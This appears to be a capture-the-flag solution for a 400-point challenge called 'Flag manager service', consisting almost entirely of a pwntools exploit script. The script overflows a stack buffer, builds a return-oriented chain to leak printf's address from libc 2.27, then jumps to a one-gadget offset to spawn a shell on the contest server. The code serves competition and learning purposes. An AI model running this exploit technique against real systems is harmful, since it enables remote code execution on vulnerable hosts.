#### [Flag manager service](http://timisoaractf.ro/challenge?id=30) (400pts)

|  |
| --- |
| #!/usr/bin/env python2 # -\*- coding: utf-8 -\*- from pwn import \* import time  exe = context.binary = ELF('flag\_manager01')  host = args.HOST or '89.38.208.144' port = int(args.PORT or 11115)  def local(argv=[], \*a, \*\*kw):  '''Execute the target binary locally'''  if args.GDB:  return gdb.debug([exe.path] + argv, gdbscript=gdbscript, \*a, \*\*kw)  else:  return process([exe.path] + argv, \*a, \*\*kw)  def remote(argv=[], \*a, \*\*kw):  '''Connect to the process on the remote host'''  io = connect(host, port)  if args.GDB:  gdb.attach(io, gdbscript=gdbscript)  return io  def start(argv=[], \*a, \*\*kw):  '''Start the exploit against the target.'''  if args.LOCAL:  return local(argv, \*a, \*\*kw)  else:  return remote(argv, \*a, \*\*kw)  gdbscript = ''' break \*0x{exe.symbols.main:x} continue '''.format(\*\*locals())  # -- Exploit goes here --  context.terminal = ['tilix', '-e']  io = start()  padding = 'A' \* 0x58 printf\_plt = p64(0x400590) printf\_got = p64(0x601020) main = p64(0x4006d7) pop\_rdi = p64(0x4008a3)  io.sendline(padding + pop\_rdi + printf\_got + printf\_plt + main) io.sendline('test') io.recvuntil('O!\n')  #io.recvline() printf\_mem = u64(io.recv(7)[:8].strip().ljust(8, '\x00')) log.success('Printf in memory: ' + hex(printf\_mem))  libc = ELF('./libc-2.27.so') libc.base = printf\_mem - 0x64e80  io.sendline(padding + p64(libc.base + 0x4f2c5))  io.interactive() |